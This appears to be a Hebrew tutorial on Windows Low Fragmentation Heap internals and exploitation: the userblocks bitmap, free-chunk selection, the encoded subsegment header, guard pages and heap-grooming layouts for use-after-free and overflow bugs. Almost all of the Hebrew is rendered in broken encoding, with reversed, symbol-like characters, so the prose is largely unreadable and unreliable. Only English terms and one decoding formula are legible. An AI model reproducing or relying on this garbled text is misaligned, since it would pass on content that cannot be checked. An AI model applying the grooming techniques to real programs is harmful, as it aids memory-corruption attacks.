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ˢ ˟˷ˣ˧ ˢ˲˧˞ ˤ˞-bitmap  ˸˪˧˥˸˟ ˫˵ˣˬˬ ˞ˣˢ ?ˢˤˢuserblocks ˢˮ˟ˬˢ ˸˞ ˠ˧˷ˢ˪ ˫˧˩˧˶˴ ˣˮ˞ ˭˩˪ˣ ,

userblocksˢ ˧"˰ ˣ˧˪˞ ˫˧˰˧ˠˬ .-dereferences :˫˧˞˟ˢ 

HeapȤ>LFHȤ>InfoArrays[] Ȥ>ActiveSubsegment Ȥ>UserBlocks Ȥ>BusyBitmap  

 

˶ˣ˶˥˷ˣ ˳ˣ˵˪˞ 

 ˫˧ˡ˟ˣ˰ ˨˧˞ ˭˧˟ˢ˪ ˦ˣ˷˲ ˸˧˯˥˧ ˶˟˩ ˭˞˩ˬmalloc x-free ˣˮ˪ ˷˧ ˶˟˩ˣ ˢ˥ˮˢ˟ ,userblocks.  ˣˮ˥ˮ˞ ˶˷˞˩

˪ ˫˧˞˶ˣ˵-malloc ˢ ,˫˧˧ˣ˯ˬ ˪ˡˣˠ ˪˰-LFH ˪ ˨˪ˣˢ-userblocks ˪ ˷ˠ˧ˮ ,ˢˤˢ ˪ˡˣˠ˪ ˧˦ˮˣˣ˪˶ˢ ˪˧˰˲ˢ-

bitmap  ˷˲˥ˬˣ ,ˣ˪˷chunk ˢ ˸˞ ˞˧˴ˣˬ ˞ˣˢ ˢ˪˧˥˸˟ .ˢ˷˵˟ˢ ˸˞ ˸˶˷˪ ˸ˮˬ ˪˰ ˶˶˥ˣ˷ˬ-userblocks 

ˢˬ- subsegment ˢ ˪˷-bucket: 

 

 ˶ˣ˥˟˪ ˨˧˶˴ ,˨˩ ˶˥˞chunk ˢ ˪˷ ˟ˣ˷˥ ˭ˣˠˮˬ ˯ˮ˩ˮ ˭˞˩ .˧ˣˮ˲-LFH: ˢ ˸˞ ˶ˣ˥˟˪ ˫ˣ˵ˬ˟-chunk  ˭ˣ˷˞˶ˢ

ˢ ,˧ˣˮ˲ˢ-LFH ˢ ˪˰ ˶ˣ˟˰˧-bitmap ˬ ˪˥ˢ-offset ˧˞˶˵˞˧˧ ˭˲ˣ˞ ˪˰ ˭ˣˡˮ ˨˷ˬˢ˟ . ˢˡˣ˟˰ˢˣ ˫ˣˡˮ˶ˢ ˶ˣ˴

 ˣ˸ˣ˞ˬ ˪˥ˢ .ˣ˸˧˞offset ˢ ˸˞ ˷˲˥˧ ˶ˣ˦˵ˣ˪˞ˢ ,˧˞˶˵˞-chunk  :˧ˣˮ˲ˢ ˭ˣ˷˞˶ˢ 

 

 ˞˴ˬˮ˷ ˰ˠ˶˟chunk ˢ ,˧ˣˮ˲-LFH ˩ ˣ˸ˣ˞ ˶˧ˤ˥˧ˣ ,˯ˣ˲˸˩ ˣ˸ˣ˞ ˭ˬ˯˧-return value  ˪˩ˣ ˢˡ˧ˬ˟ .˳ˣ˵˪˞ˢ ˪˷

-sbitmap ˪ ˸˩˪˪ ˨˧˶˴ ,˞˪ˬ-userblocks .˫ˡˣ˵ˢ ˵˪˥˟ ˶˟˯ˣˢ˷ ˢˬ˪ ˢˬˣˡ˟ ˷ˡ˥ ˡ˥˞ ˳˵˪˞˪ ˣ˞ ˶˥˞ 

ˢ ˧˟ˠ ˪˰ ˷ˣ˲˧˥ˢ ˭˲ˣ˞-bitmap  ˪˷ ˫˧˪˧˰˧ ˫˧ˡˣ˵˲ˣ˞ ˸ˣ˰˴ˬ˞˟ ˦ˣ˷˲x86 ˞ˣ˴ˬ˪ ˣˮ˧˪˰˷ ˟˪ ˣˬ˧˷ .chunk 

˟ ,ˣˮ˸˥ˬ˷˪ .˧ˣ˟˩ ˦˧˟ ˶ˬˣ˪˩ ,˶˶˥ˣ˷ˬ-x86 ˫˷˟ ˡˣ˵˲ˣ˞ ˷˧ ,bsf  ˪˷ ˶ˣ˴˧˵)Bit Scan Forward ˞˴ˣˬ˷ ,(

˷ ˭ˣ˷˞˶ˢ ˦˧˟ˢ ˸˞ ˣˮ˪˟ ˵ˣ˪ˡ-dword  ˢ˷˰ˮ ,˭ˣ˷˞˶ˢ ˧ˣ˟˩ˢ ˦˧˟ˢ ˸˞ ˞ˣ˴ˬ˪ ˧ˡ˩ .˫˧˧ˣ˯ˬnot ˪-

bitmapˢ ˧˶˥˞ ˭ˣ˷˞˶ˢ ˵˪ˣˡˢ ˦˧˟ˢ ˸˞ ˞˴ˬˮˣ ,-not  ˫˰bsfˢ˷ ˰ˡˮ ˨˩ .-chunk .˶˶˥ˣ˷ˬ 
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 ˶ˣ˴˧˪ ˨˶˦˴ˮ ,˭˧˞ˣ ˢˡ˧ˬ˟ .ˡ˥˞ ˞˴ˬˮ˷ ˡ˰ ˸˞ˤ ˢ˷˰ˮuserblocks .˷ˡ˥ 

 

ˢ ˸˞ ˸ˬˡ˵ˬ ˢ˧˴˵ˮˣ˲ˢ ˸˪˧˥˸-bitmap ˪-StartOffset, ˢ ˞ˣˢ˷-offset  ˫˧˪˧˥˸ˬ ˣˮ˞ ˣˮˬˬ ˧˞˶˵˞ˢ

 ˣˮ˞˴ˬ˷ ˶˥˞˪ .˵ˣ˶˯˪index  ˫˧˷ˣ˰ ,˧˦ˮˣˣ˪˶not ˦ˣ˷˲ ˫˧˴˧˶ˬˣ ,Bit Scan Forward. 

˟ ˦˧˟ˢ ˸˞ ˵˧˪ˡˮ ,˱ˣ˯˟˪-bitmap ˢ˷ ˭ˬ˯˪ ˧ˡ˩-chunk :˯ˣ˲˸ 

 

ˢˣ-caller ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˪˟˵˧-chunk ˟-index ˟ ˨˩ ˶˥˟ˮ˷-userblocks!˳˵˪˞˪ ˣˮ˥˪˴ˢ ˸˞ˤ˟ . 

 ˪˷ ˶ˣ˶˥˷ˢ ˭˲ˣ˞chunk  ˶ˣ˟˰ .˦ˣ˷˲ ˶˸ˣ˧ ˞ˣˢheap ˢ) ˸˟ˣ˸˩ˣ-heap  ˨˶ˡ ˶ˣ˶˥˷˪ ˣˮ˰ˠˢ ˫˞ ˧˦˪ˣ˲˧ˡˢ

free ˣ˞ ,heap  ˨˶ˡ ˣˮ˰ˠˢ ˫˞ ˧˲˧˴˲˯HeapFree˪ ˰˧ˠˢ˪ ˧ˡ˩ ˭ˣ˶˩ˤ˟ ˢ˶ˣ˥˞ ˫˧˩˪ˣˢ ,(-header ˢ ˪˷-

chunkˢ ˸˞ ˟˷˥˪ ˶˷˲˞ ˫˷ˬ .-subsegment  :˟ˣ˷˧˥ˢ ˧˲˪ 

SubSegment  = *(DWORD *)header  ^  (header  /  8)  ^  heap  ^  RtlpLFHKey ; 

ˢ ˪˷ ˨˲ˢˢ ˢˤ˷-xor ˢ ˸˧˧ˮ˟˟ ˟˷ˣ˥˷-chunk ˟-userblocks. ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˣˮ˪ ˷˧-header  ˞˧ˢ)

ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ,(˫˧˶˶˥˷ˬ ˢ˸ˣ˞˷ ˸˟ˣ˸˩ˢ ˧ˮ˲˪ ˸˴˵-heap ˢ ˸˞ˣ-cookie  ˪˩ ˤ˞ ,˭ˣ˶˩˧ˤˢˬ

.˫˧˰ˣˡ˧ ˭˞˩ ˫˧˶˦ˬ˶˲ˢ 

ˢ ˸˞ ˷˧˷˩ ˣ˧˷˩˰-subsegment˪ ˣˮˬˬ ˫˧˰˧ˠˬ ,-userblocks ˪ ˫˷ˬˣ-bitmap˟ ˫˧˷ˬ˸˷ˬ .-PrevSize 

ˢ ˪˷-chunk ˢ ˸˞ ˸˰ˡ˪ ˧ˡ˩-index ˢ ˪˷-chunk ˟-userblocksˢ ˸˞ ˫˧˟˷˥ˬ ˣ˸ˣ˰˴ˬ˞˟ ,-index  ˪˷

˟ ˧˦ˮˣˣ˪˶ˢ ˦˧˟ˢ-bitmap ˧ˡ˩ ˨˧˪ˢ˸ˢ ˪˩ ˢˤ ,˸ˣ˶˧˟˷ˣ ˫˧ˠˣˤ˧ˬ ˣˮ˪ ˭˧˞˷ ˭ˣˣ˧˩ˬ .˶˶˥ˣ˷ˬ˩ ˣ˸ˣ˞ ˫˧ˮˬ˯ˬˣ ,

 ˸˞ ˶˶˥˷˪-schunk. 
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 ˧˪ˣ˴˧ˮLFH  

ˢ ,˫ˣ˧˩-LFH ˪ ˯˥˧˟ ˢ˥˦˟˞ ˧˪ˣ˵˧˷ ˸ˮ˧˥˟ˬ ˫ˡ˵˸ˬ-allocator˟ .˫˧˶˥˞ ˫˧-allocator ˪˵ ,˫˧˶˥˞ ˫˧

 ˪˷ ˪ˣ˴˧ˮ˪ ˣ˞ ,˭ˣ˶˩˧ˤ˟ ˸ˣ˲˧˴˶ ˪˷ ˟˴ˬ˪ ˰˧ˠˢ˪UAFˢ ˢ˟˷ ˢ˶ˣ˴ˢ ˸˞ ˸ˣˤ˥˪ ˪˵˷ ˭ˣˣ˧˩ˬ ,-allocator  ˪ˢˮ˧

ˢ ˸˞ ˟˴˰˪ ˫˧˩˧˶˴ ˣˮ˞ ˫˧˪ˣ˴˧ˮ˟˷ ˭ˣˣ˧˩ˬ ,ˡˣ˞ˬ ˟ˣ˷˥ ˦˶˲ ˣˢˤ .ˣ˪˷ ˭ˣ˶˩˧ˤˢ ˸˞-heap ˪ ˰˧ˠˢ˪ˣ-layout 

:˫˧˧ˣ˯ˬ 

0.  ˧ˮ˲˪ ˢ˧ˢ˧ ˣˮˬˬ ˫˧˩˶ˣˡ˷ ˢˮ˟ˬˢ˷ ˨˩ ˭ˣ˶˩˧ˤ˟ ˫˧ˮ˟ˬ ˳˵˪˞˪ ˫˧˴ˣ˶ ˣˮ˞ ,ˢ˲˧˴˶ ˢ˩˧˶ˡ ˣˮ˪ ˷˧ ˫˞

.˫˧˩˶ˣˡ ˣˮ˞ ˣ˧˪˰˷ ˢˮ˟ˬˢ 

1.  ˣˮ˪ ˷˧ˣ ˢˡ˧ˬ˟UAF˧˶˥˞ ˸˰ˡ˪ ˫˧˴ˣ˶ ˣˮ˞ , ˢ ˫˧˶ˣ˶˥˷ˣ ˫˧˴ˣ˵˪˞ ˢˬ˩-allocator  ˢ˸ˣ˞ ˸˞ ˶˧ˤ˥˧

.˸˟ˣ˸˩ˢ 

-sLFH˪ ˫ˣˡˮ˶ ˭ˣˮˠˮˬ ˯˧ˮ˩ˢ ,ˢ˪˞˩ ˫˧˟ˣ˴˧˰ ˪˰ ˸ˣ˷˵ˢ˪ ˢ˶ˣ˶˟ ˢˮˣˣ˩ ˨ˣ˸ˬ ,-memory management ,

ˬ ˪˥ˢ-Windows 8 ˸ˬ˧ˣ˯ˬ ˢˡ˧ˬ˟ ˶˧˩ˤˬ ˢˤ .mitigations  ˣˬ˩ASLR. 

 ˪˰ ˪˩˸˯ˮ ˫˞ ,ˢˬˠˣˡ˪userblocks  ˧˶˥˞ ,˭ˣ˶˩ˤ˟ ˡ˥˞8 ˫˧˴ˣ˵˪˞ ,˞ˣˢ ˪ˣ˩˧ ˸ˣ˞˶ˢ˪ ˢ˩˩: 

 

 ˸ˣ˞˶˪ ˭˸˧ˮ ˢˤˢ ˫˧˷˶˸˟userblocks  ˣˮˬˬ ˳˵˪˞˪ ˣˮ˪˥˸ˢ˷ ˷ˡ˥chunk- ˫˧˴ˣ˵˪˞ˢ˷ ˫˧˞ˣ˶ ˣˮ˞ˣ ,˫˧

.˭ˣ˶˩˧ˤ˟ ˫ˢ˪˷ ˫ˣ˵˧ˬ˪ ˯˥˧˟ ˸˧˪ˬˣˡˮ˶ ˢ˶ˣ˴˟ ˫˧˪˲ˣˮ ˣˮ˪˷ 
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:˞˟ˢ ˡˣ˵ˢ ˸ˣ˰˴ˬ˞˟ ˢˬˠˣˡ˪ ,˸˞ˤ ˵ˣˡ˟˪ ˡ˞ˬ ˪˵ 

  

ˢ˷ ˸ˣ˶ˬ˪-heap ˬ ˸ˣ˶ˤˣ˥˷ ˸ˣ˟ˣ˸˩ˢ ,˭˧˦ˣ˪˥˪ ˷ˡ˥-HeapAlloc .˸ˣ˧ˣ˲˴ ˞˪ ˸ˣ˞˶ˮ  ˳˧˶ˮ ˫˞ ,˸˞ˤ ˸ˬˣ˰˪

ˢ ˧˪˟ ˡˣ˵ˢ ˣ˸ˣ˞ ˸˞-LFH  ˶ˣ˴˧ˮ)heap  ˶˦ˬ˶˲ˢ ˫˰HEAP_NO_SERIALIZE,˧ˣ˲˴˩ ˫˧˶ˤˣ˥ ˫˧˴ˣ˵˪˞ˢ ˪˩ ,( 

.˧ˮ˷ˢ ˧˶˥˞ ˡ˥˞ 
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 ˭˧˟ ˢ˩˧˶ˡuserblocks 

 ˣˮ˪ ˷˧˷ ˥˧ˮˮ ˣ˞ˣ˟ ,ˢ˷˥ˬˢˢ ˨˶ˣ˴˪ .˸˧˯˥˧ ˢ˦ˣ˷˲ ˞ˬˠˣˡˬ ˪˧˥˸ˮbuffer  ˪ˡˣˠ˟0x40  ˢ˵˧ˠˣ˪˟˷

 ˢˮ˟ˬ ˣˮ˪ ˷˧ ,˱˯ˣˮ˟ .ˣˮˮˣ˴˶˩ ˨˶ˣ˞˟ ˭ˣ˶˩˧ˤ˟ ˢˬ˧ˡ˵ ˣˮˬˬ ˨ˣ˶ˡ˪ ˣˮ˪ ˸˶˷˲˞ˬ˷ ˢ˷˪ˣ˥ ˷˧ ˣ˟ ˸˪˲˦ˬˢ

 ˪ˡˣˠ˟ ˞ˣˢˣ ,ˣ˧˪˰ ˨ˣ˶ˡ˪ ˫˧˴ˣ˶ ˣˮ˞˷ ˭˧˧ˮ˰ˬ0x100˟ ˫ˢ˷ ˫˧˪ˡˠ˟ ˶˟ˣˡˬ˷ ˪˪ˠ˟ .-granularity  ˫ˢ ,ˢˮˣ˷

˟ ˥˶˩ˢ˟ ˣ˪˲˧-userblocks  ˣˮ˸ˣ˞ ˡ˧ˬ˰ˬ ˢˤ ˟˴ˬ .˧ˮ˷ˢˬ ˡ˥˞ ˭ˣ˶˩˧ˤ˟ ˫˧˵ˣ˥˶ ˡˣ˞ˬ ˣ˧ˢ˧ ˣˮ˶˰˴˪ˣ ,˫˧ˡ˶˲ˮ

.ˢ˧˰˟˟ 

ˢ ˸˞ ˟˶˵˪ ˫ˣ˵ˬ˟-chunk-ˢ ˸˞ ˟˶˵˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ,˭ˣ˶˩˧ˤ˟ ˫˧-userblocks  .˧ˮ˷˪ ˡ˥˞ ˫˧˧˦ˮˣˣ˪˶ˢ

 ˳ˣ˵˪˞˷ ˫ˡˣ˵ˢ ˵˪˥˟ ˣˮ˧˞˶userblocks ˢ ˧ˡ˧ ˪˰ ˪˲ˣ˦ˬ-backendˢ ˢˤ˷ ,-NT heap ,˯ˣ˯˧˶ ˧˶˥˞ ˭˩˪ˣ ,

-suserblocks  ˧ˮ˷ ˷˧ ˫˞ .˭ˣ˶˩˧ˤ˟ ˢ˲˧˴˶ ˢ˶ˣ˴˟ ˰˧˲ˣˢ˪ ˫˧˪ˣ˩˧ ˭˩ ˞˵ˣˣˡuserblocks  ˫ˢ˷ ˸ˣ˶ˬ˪ ˫˧ˡˣˬ˴

-˟granularity ˬ ˨ˣ˶ˡ˪ ˪˩ˣˮˣ ,˶˥˞-chunk  ˪˰ ˭ˣ˷˞˶ˢ ˱ˣ˯˟ ˞˴ˬˮ˷chunk  ˶ˣ˸˲˪ ˪˩ˣˮ ,˧ˮ˷ˢ ˸˪˧˥˸˟

ˢ ˸˧˧˰˟ ˸˞-ganularity .ˢˮˣ˷ˢ 

˩˪ ˫ˣ˶ˠ˪˟ ˪˧˥˸ˮ ,˸˞ˤ ˸ˣ˷˰˪ ˧ˡ-userblocks  .ˢ˲˧˴˶ ˢ˶ˣ˴˟ ˧ˮ˷ˢ ˧˶˥˞ ˡ˥˞ ˪ˣ˲˧˪ ˫˧˧ˣ˯ˬ ˪ˡˣˠ ˪˷

ˢ ˸˞ ˟˴˰˪ ˨˧˶˴ ?˨˧˞-NT heap  ,ˣˢ˷˪˩ ˳ˣ˵˪˞ ˟˧˦˧ˬ˧˶˲ ˫˰ ˭ˣˬˢ ˫˧˯˯˶ˬ ˣˮ˥ˮ˞˷ ˥˧ˮˮ .ˢ˲˧˵˰ ˢ˶ˣ˴˟

:˰ˣ˟˵ ˪ˡˣˠ˟ 

0. ˟ ˫˧˶ˣ˥ ˭ˣˬˢ ˞˪ˬˮ ˢ˪˥˸ˢ˟-userblocks ˫ˢ .˫˧ˬ˧˧˵ ˧˪ˣ˞˷ ˪ˡˣˠˢ ˣ˸ˣ˞ ˪˷  ˪˧˩ˢ˪ ˫˧˪ˣ˪˰chunk- ˫˧

.˞˪ˬ˪ˣ ˯ˣ˲˸˪ ˪˧˥˸˧ ˯ˣ˯˧˶ˢ˷ ˫˧˶˶˥ˣ˷ˬ 

1.  ˶˸ˣ˧ ˣ˧ˢ˧ ˞˪ ,˵˧˲˯ˬ ˯˯˶ˮ˷ ˧˶˥˞userblocks  ˫˰chunk-ˢ ˤ˞ ,˫˧˶˶˥ˣ˷ˬ ˫˧-LFH ˪ ˢˮ˲˧-backend 

 ˳˵˪˞˪ ˧ˡ˩userblocks ˢ .˫˧˷ˡ˥-backend  ˢˬ˩ ˣ˪ ˳˵˪˞˧page-ˢ ,˫˧-LFH ˪ ˫˸ˣ˞ ˶ˣ˟˷˧-chunk-

 ˸˞ ˸˶˷˪ ˨˧˷ˬ˧ˣ ,˫˧ˢˬ ˣˮ˪˷ ˸ˣ˷˵˟ˢ-userblocks .˪˟˧˵ ˞ˣˢ˷ 

2.  ˭ˣˬˢ ˶ˣ˴˧ˮ ˫˞userblocks ˪˷ ˫˧˶ˣ˥ ˞˪ˬˮ ,page˟ ˫˧˶˶˥ˣ˷ˬ ˫˧-backend ,˨˧˪ˢ˸ˢ ˸˪˧˥˸˪ ˢˬˣˡ .

ˢ ˸ˬ˶˟ ˣ˧˷˩˰-NT heap ˢ ˸ˬ˶˟ ˞˪ˣ-LFH. 

3.  ˵˧˲˯ˬ ˶ˣ˴˧ˮ˷ ˧˶˥˞userblocks˪ˣ ˫˧˷ˡ˥ ,-backend ˢ ˣ˶ˬˠ˧-page- ˪˧˥˸˧ ˞ˣˢ ,˫˧˶˶˥˷ˣˬˢ ˫˧

˪˧ˡˠˢ˪ ˢ ˸˞-heap ˢ˷ ˪˪ˠ˟ .˸ˣ˟ˣ˸˩˟ ˢ˪˰ˬ˪ ˣ˪˷-backend  ˳˵˪˞ˬ ˭˩page- ˢ˲˧˴˶ ˢ˶ˣ˴˟ ˫˧

ˢ ˫ˠ ˤ˞ ,˸˧˪˞ˣ˦˶˧ˣ-userblocks .˸˧˪˞ˣ˦˶˧ˣ ˢ˲˧˴˶ ˢ˶ˣ˴˟ ˣ˪˲˧ ˣˮ˪˷ 

 
˷ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˸˞ˤˢ ˞ˬˠˣˡ˟ ˪˟˞-userblocks  ˸˞ ˸ˣ˷˰˪ ˣˮ˧˪˰ .˧ˮ˷ˢ ˧˶˥˞ ˡ˥˞ ˣ˪˲˧ ˫˧ˮˣ˷ ˫˧˪ˡˠˬ

˧ˮˣ˷ ˫˧˪ˡˠ ˶ˣ˟˰ ,˪˧˰˪ ˶˞ˣ˸ˬˢ .˪˧˟˵ˬ˟ ,˫ 
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˷ ˟˴ˬ ˪˟˵ˮ ˱ˣ˯˟ˣ ,˭˧ˠˣ˶˧˯˪ ˫˧˧˦ˮˣˣ˪˶ˢ ˫˧˪ˡˠˢ ˧ˮ˷˟ ˯˯˶ˮ-userblocks  ˡ˥˞ ˣ˪˲˧ ˫˧ˮˣ˷ ˫˧˪ˡˠ ˪˷

.˧ˮ˷ˢ ˧˶˥˞ 

 

 ˧ˮ˷ ˸ˣ˞˶˪ ˭˸˧ˮ ˢˮˣˬ˸˟userblocks ˢ ˪˪ˣ˩ ,˭ˣ˶˩˧ˤ˟ ˧ˮ˷ˢ ˧˶˥˞ ˡ˥˞ ˣ˪˲ˮ˷-header-.˫ˢ˪˷ ˫˧ 

˟ ˢ'˶˟˥ˢ-MS  ˢ˯ˮ˩ˮ ˫˧ˮ˷ ˢˬ˩ ˧ˮ˲˪ ˭˩˪ˣ ,ˢˤˢ ˠˣ˯ˢˬ ˸ˣ˲˧˵˸ ˪˰ ˣ˟˷˥mitigation  ˰ˠ˶˟˷ ˸˰˟ˣ˵˷

-˷userblocks  ˪˷ ˸˧˪ˬ˧˯˵ˬ ˸ˣˬ˩˪ ˰˧ˠˬchunk-) ˣ˩ˣ˸˟ ˫˧0x400 chunk- ˪˷ ˪˪ˣ˩ ˪ˡˣˠ˟ ˣ˞ ˫˧

0x78000 ˢ ˧˶˥˞ ˫˧˴˵˪˞ˬ ,(˫˧˸˟-userblocks  ˸˥˞ ˫˰˲GUARD PAGE ˦ˣ˷˲ ˢˤ˷ ,page  ˸ˣ˞˷˶ˢ ˫˰

PAGE_NOACCESS ˪˩˷ ,dereference ˪ ˫ˣ˶ˠ˧ ˣ˧˪˞-segfault ˣˮ˞ ,˫˧ˮˣ˩ˮˢ ˫˧˟˧˦˧ˬ˶˲ˢ ˭˸ˮ˧ˢ˟˷ ˭˟ˣˬ˩ .

 ˷˧ ˫˞ ,ˢˬˠˣˡ˪ .˫˧˶˵ˬˢˬ ˦˰ˬ ˞˪˟ ˡˣ˞ˬ ˢ˷˵ˬ ˢˤ ˪˟˞ ,˫˧ˮ˧˧ˮ˰ˬ ˫˧˟˴ˬ˪ ˫ˣ˶ˠ˪ˣ ˵˥˷˪ ˫˧˪ˣ˩˧ ˭˧˧ˡ˰

 ˭ˣˮˠ˯˟ ,˸˧˶˞ˮ˧˪ ˢ˟˧˸˩memcpy  ˰˧ˠˢ˪ ˞˧ˢ ˢ˶˦ˬˢˣ ,˶˲˞˟ˢ ˸ˣ˪ˣ˟ˠ˪ ˳ˣ˥ˬ ,˪ˡˣˠ˟ ˢ˦˧˪˷ ˫˰

ˣ˞˪˟ ˞˴ˬˮ˷ ˦˵˧˧˟-userblock ˟ ˪˵˸ˮ ˢˣ˟ˠ ˧ˣ˩˧˯˟ ˣ˧˪˞ ˨˶ˡ˟ ˤ˞ ,(˶˥˞ ˪ˡˣˠ˟ ˞ˣˢ ˧˩) ˶˥˞-Guard 

page .˯ˣ˶˵ˮˣ 
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ˢ ˶˴ˣˣ˧ ˣ˟˷ ˟˪˷ˢˬ ˰ˮˬˢ˪ ˶˷˲˞ ˤ˞ˣ ,˫˧˴ˣ˵˪˞ ˭ˣˬˢ ˭˧˞ ˧˰˟˦ ˭˲ˣ˞˟ ˫ˢ˟ ˫˧˶˵ˬ˪ ˢˬ˧˞˸ˬ ˣˤ ˢ˦˧˷-

guard page˟ ˢ˟˧˸˩ ˣˮ˪ ˷˧ ˫ˢ˟˷ ˫˧˟˴ˬ˪ ˣ˞ ,-offset ˣ˲˵˪ ˪˩ˣˮ˷ ˨˩ ˧˯˥˧ˢ ˪˰ˬ ˳-guard page. 

ˢ ˣ˸ˣ˞˟ ˢ˩˧˶ˡ-userblocks 

˟ ˢ˟ˣ˦ ˢ˦˧˪˷ ˣˮ˪ ˷˧˷ ˢˤ ˵˪˥˟ ˥˧ˮˮ-heap  ˣˮ˪ ˸ˮ˸ˣˮ˷ ˢ˷˪ˣ˥ ,(ˣˮˮˣ˴˶˩ ˸˧˯˥˧ ˫˧˶ˣ˶˥˷ˣ ˫˧˴ˣ˵˪˞)

 ˸˴˶ˢ˪ ˰˧ˠˢ˪ ˧ˡ˩ ˣ˧˪˰ ˨ˣ˶ˡ˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞˷ ˦˵˧˧˟ˣ˞ˣ ,˸˧˶˞ˮ˧˪ ˢ˩˧˶ˡˡˣ˵ ˪˩˷ ˥˧ˮˮ ˣˤ ˞ˬˠˣˡ ˨˶ˣ˴˪ .

 ˣ˸ˣ˞˟ ˫˧˪˲ˣˮ ˫˧˦˵˧˧˟ˣ˞ˢgranularity ˫ˢ ˫˞ ,˫˧˦˵˧˧˟ˣ˞ ˪˷ ˫˧ˮˣ˷ ˫˧ˠˣ˯ ˫˰ ˫ˠ ˸ˣ˶˵˪ ˪ˣ˩˧ ˢˤ ˟˴ˬ .

 ˫ˢ˷ ˫˧˶˟ˡ ˫˩ˣ˸˟ ˷˧ ˫˞ ˣ˞ ,˫˧ˬˣˡ ˫˧˪ˡˠ˟ ˢ˶˵ˬ˟variable length  ˣˮ˥ˮ˞ˣ ˫˧ˠˮ˧˶˦˯ ˣ˞ ˫˧˩˶˰ˬ ˣˬ˩

˶˰ˬ ˪˷ ˦˵˧˧˟ˣ˞ ˣˮ˪ ˷˧ ˣ˟ ,˳ˣ˲ˮ ˧ˡ ˟˴ˬ ˣˢˤ ˢ˷˰ˬ˪ .ˢˬˣˡ ˪ˡˣˠ˪ ˫˧ˮˣ˷ ˫˧˦˵˧˧˟ˣ˞ ˧ˠˣ˯ ˧ˮ˷ ˭ˤ˞˪ ˫˧˪ˣ˩˧ ˨

.ˣ˪˷ ˨˶ˣ˞ˢ ˢˡ˷ ˪˰ ˨ˣ˶ˡ˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ˣ ˢˮ˸˷ˬ ˪ˡˣˠ˟ ˞ˣˢ˷ 

 ˸˞ ˪˧˰˲ˮ˷˩˷ ˢˢˣ˟ˠ ˸ˣ˶˧˟˯˟ ˸˰ˡ˪ ˶˷˲˞ ˨˧˞ ˞˧ˢ ˢ˸˧˞ ˡˡˣˬ˸ˢ˪ ˨˶˦˴ˮ˷ ˸˧ˤ˩˶ˬˢ ˢ˧˰˟ˢ

 ?˭ˣ˶˩˧ˤ˟ ˣˮ˧˶˥˞ ˡ˧ˬ ˭˧˧ˮ˰ˬ ˦˵˧˧˟ˣ˞ ˢ˧ˢ˧ ,ˢ˷˪ˣ˥ˢ 

¶ ˢ ˨ˣ˸˟ ˫˧˴ˣ˵˪˞ˢ ˶ˡ˯ ˸˞ ˫˧˰ˡˣ˧ ˞˪ ˣˮ˥ˮ˞-userblocks ˭ˣˬˢ ˷˧ .layout ˫˧ ˫˧˪ˣ˩˧˷ ˫˧˧˶˷˲˞

.˧˦˯˧ˮ˧ˬ˶˦ˡ ˞˪ ˫˧˴ˣ˵˪˞ˢ ˶ˡ˯ ˭˩˷ ,ˢˣ˟ˠ ˧ˣ˩˧˯˟ ˡˣ˟˰˧˷ ˟˧˴˧ ˟ˣ˴˧˰ ˶ˣ˴˧˪ ˫˧˪ˣ˩˧ ˞˪ ˣˮ˞ .˶˴ˣˣ˧ˢ˪ 

¶  ˨˩ˬ ˶ˣˬ˥-  ˫˧˩˶ˣˡ ˣˮˬˬ˷ ˶˲˞˟ˢ ˧˶˥˞ ˪ˣ˲˧ ˢ˩˧˶ˡ˪ ˭˧˧ˮ˰ˬˢ ˢˮ˟ˬˢ˷ ˣˮ˪ ˥˦˟ˣ˧ ˫˞ ˫ˠ-  ˞˪ ˣˮ˞

?˨ˣ˶ˡˮ ˢˬ˩ .˞ˣˢ ˵˥˶ˬ ˢˤ˧˞˟ ˫˧˰ˡˣ˧ 

¶ ˪ˬ˧˯˵ˬ ˨˶ˣ˞ ˣˮ˪ ˥˦˟ˣ˧ ˫˞ ˫ˠ ˭˧˧ˮ˰ˬˢ ˢˮ˟ˬˢ ˭˧˟˪ ˶˲˞˟ˢ ˭˧˟ ˧-  ˸ˣˬ˩ ˫˰ ˨ˣ˶ˡ˪ ˫˧˪ˣ˩˧ ˞˪ ˣˮ˥ˮ˞

ˢ ˱ˣ˯˟ ˣˮ˪˲ˮ ˫˞ ˧˩ ,˫˧˸˟ ˪˷ ˧ˡˬ ˢ˪ˣˡˠ-userblocks  ˡ˞ˬ ˧ˣ˩˧˯˟˷ ˟˴ˬ ˢˤˣ ,ˢ˴ˣ˥ˢ ˨ˣ˶ˡˮ ˶˟˩

 ˣˮ˧˶˥˞ ˷˧ˣ ˢˡ˧ˬ˟) ˢ˯˧˶˵˟ ˶ˬˠ˧˧ ˢˣ˟ˠGuard Page.(˸˧ˡ˧˧ˬ ˢ˯˧˶˵ ˱ˣ˦˥ˮ , 

 ˸˶ˤ˰˟ ˫ˣˡˮ˶˟ ˫˥˪˧ˢ˪ ˢˤ ˸ˣ˷˰˪ ˪˩ˣˮ˷ ˢˬ!˫ˣˡˮ˶ 

0. .ˣ˧˪˰ ˨ˣ˶ˡ˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞˷ ˣˢ˷˪˩ ˦˵˧˧˟ˣ˞ ˫˰ ˯˯˶ˮ 

1.  ˞ˣˢ ˨˩ ˫ˠ ˧˩ ,˧ˮ˷ ˳ˣ˵˪˞ ˪˩ ˞˵ˣˣˡ ˣ˞˪ ,˭˟ˣˬ˩) ˫ˡˣ˵ˢ ˱˧˰˯˟ ˣˮ˴˵˪˞˷ ˫˧˦˵˧˧˟ˣ˞ˢˬ ˧˴˥ ˶˶˥˷ˮ

.˫˧˶ˣ˥ˢˣ ˫˧˴ˣ˵˪˞ˢ ˭˧˟ ˸˧˪ˬˣˡˮ˶ ˢ˶ˣ˴˟ ˫˧˶ˣ˥ ˣˮ˶˴˧ ˨˩ .(˸˧˪ˬˣˡˮ˶ ˫˧˴˵˪˞˸ˬ 

2. ˣ˶ˡˮˣ ,ˢˬ˧ˡ˵ ˨ˣ˶ˡ˪ ˶˷˲˞ ˣˮˬˬ˷ ˦˵˧˧˟ˣ˞ ˳˵˪˞ˮˢ ˪˰ ˨-chunk .(˫˧˩ˣˬ˯ ˢˬ˩ ˣ˞) ˨ˣˬ˯ˢ 

